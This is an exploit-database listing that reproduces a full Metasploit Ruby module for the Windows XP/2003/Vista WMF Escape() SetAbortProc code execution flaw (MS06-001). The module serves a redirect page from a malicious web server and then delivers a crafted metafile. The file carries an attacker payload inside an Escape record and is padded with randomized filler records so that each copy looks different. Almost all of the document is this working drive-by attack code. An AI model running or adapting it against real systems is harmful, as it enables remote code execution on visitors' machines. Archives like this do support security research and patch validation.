Lucene search
K

Microsoft Windows XP/Vista/2003 - Metafile Escape() SetAbortProc Code Execution (MS06-001) (Metasploit)

🗓️ 20 Sep 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution vulnerability in the GDI library. Executes arbitrary code through the 'Escape' metafile function

Related
Code
##
# $Id: ms06_001_wmf_setabortproc.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
			'Description'    => %q{
					This module exploits a vulnerability in the GDI library included with
				Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
				to execute arbitrary code through the SetAbortProc procedure. This module
				generates a random WMF record stream for each request.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'hdm',
					'san <[email protected]>',
					'[email protected]',
				],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2005-4560'],
					['OSVDB', '21987'],
					['MSB', 'MS06-001'],
					['BID', '16074'],
					['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'],
					['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
					['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 1000 + (rand(256).to_i * 4),
					'BadChars' => "\x00",
					'Compat'   =>
						{
							'ConnectionType' => '-find',
						},
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP/2003/Vista Automatic', { }],
				],
			'DisclosureDate' => 'Dec 27 2005',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)

		ext = 'wmf'

		if (not request.uri.match(/\.wmf$/i))
			if ("/" == get_resource[-1,1])
				wmf_uri = get_resource[0, get_resource.length - 1]
			else
				wmf_uri = get_resource
			end
			wmf_uri << "/" + rand_text_alphanumeric(rand(80)+16) + "." + ext

			html = "<html><meta http-equiv='refresh' content='0; " +
				"URL=#{wmf_uri}'><body>One second please...</body></html>"
			send_response_html(cli, html)
			return
		end

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the compressed response to the client
		send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })

		# Handle the payload
		handler(cli)
	end

	def generate_metafile(payload)

		# Minimal length values before and after the Escape record
		pre_mlen = 1440 + rand(8192)
		suf_mlen = 128  + rand(8192)

		# Track the number of generated records
		fill = 0

		# The prefix and suffix buffers
		pre_buff = ''
		suf_buff = ''

		# Generate the prefix
		while (pre_buff.length < pre_mlen)
			pre_buff << generate_record()
			fill += 1
		end

		# Generate the suffix
		while (suf_buff.length < suf_mlen)
			suf_buff << generate_record()
			fill += 1
		end

		clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length
		data =
			#
			# WindowsMetaHeader
			#
			[
				# WORD  FileType;       /* Type of metafile (1=memory, 2=disk) */
				rand(2)+1,
				# WORD  HeaderSize;     /* Size of header in WORDS (always 9) */
				9,
				# WORD  Version;        /* Version of Microsoft Windows used */
				( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),
				# DWORD FileSize;       /* Total size of the metafile in WORDs */
				clen/2,
				# WORD  NumOfObjects;   /* Number of objects in the file */
				rand(0xffff),
				# DWORD MaxRecordSize;  /* The size of largest record in WORDs */
				rand(0xffffffff),
				# WORD  NumOfParams;    /* Not Used (always 0) */
				rand(0xffff),
			].pack('vvvVvVv') +
			#
			# Filler data
			#
			pre_buff +
			#
			# StandardMetaRecord - Escape()
			#
			[
				# DWORD Size;          /* Total size of the record in WORDs */
				4,
				# WORD  Function;      /* Function number (defined in WINDOWS.H) */
				(rand(256).to_i << 8) + 0x26,
				# WORD  Parameters[];  /* Parameter values passed to function */
				9,
			].pack('Vvv') + payload.encoded +
			#
			# Filler data
			#
			suf_buff +
			#
			# Complete the stream
			#
			[3, 0].pack('Vv') +
			#
			# Some extra fun padding
			#
			rand_text(rand(16384)+1024)

		return data

	end

	def generate_record
		type = rand(3)

		case type
			when 0
				# CreatePenIndirect
				return [8, 0x02fa].pack('Vv') + rand_text(10)
			when 1
				# CreateBrushIndirect
				return [7, 0x02fc].pack('Vv') + rand_text(8)
			else
				# Rectangle
				return [7, 0x041b].pack('Vv') + rand_text(8)
		end
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Sep 2010 00:00Current
7High risk
Vulners AI Score7
CVSS 27.5
EPSS0.90269
40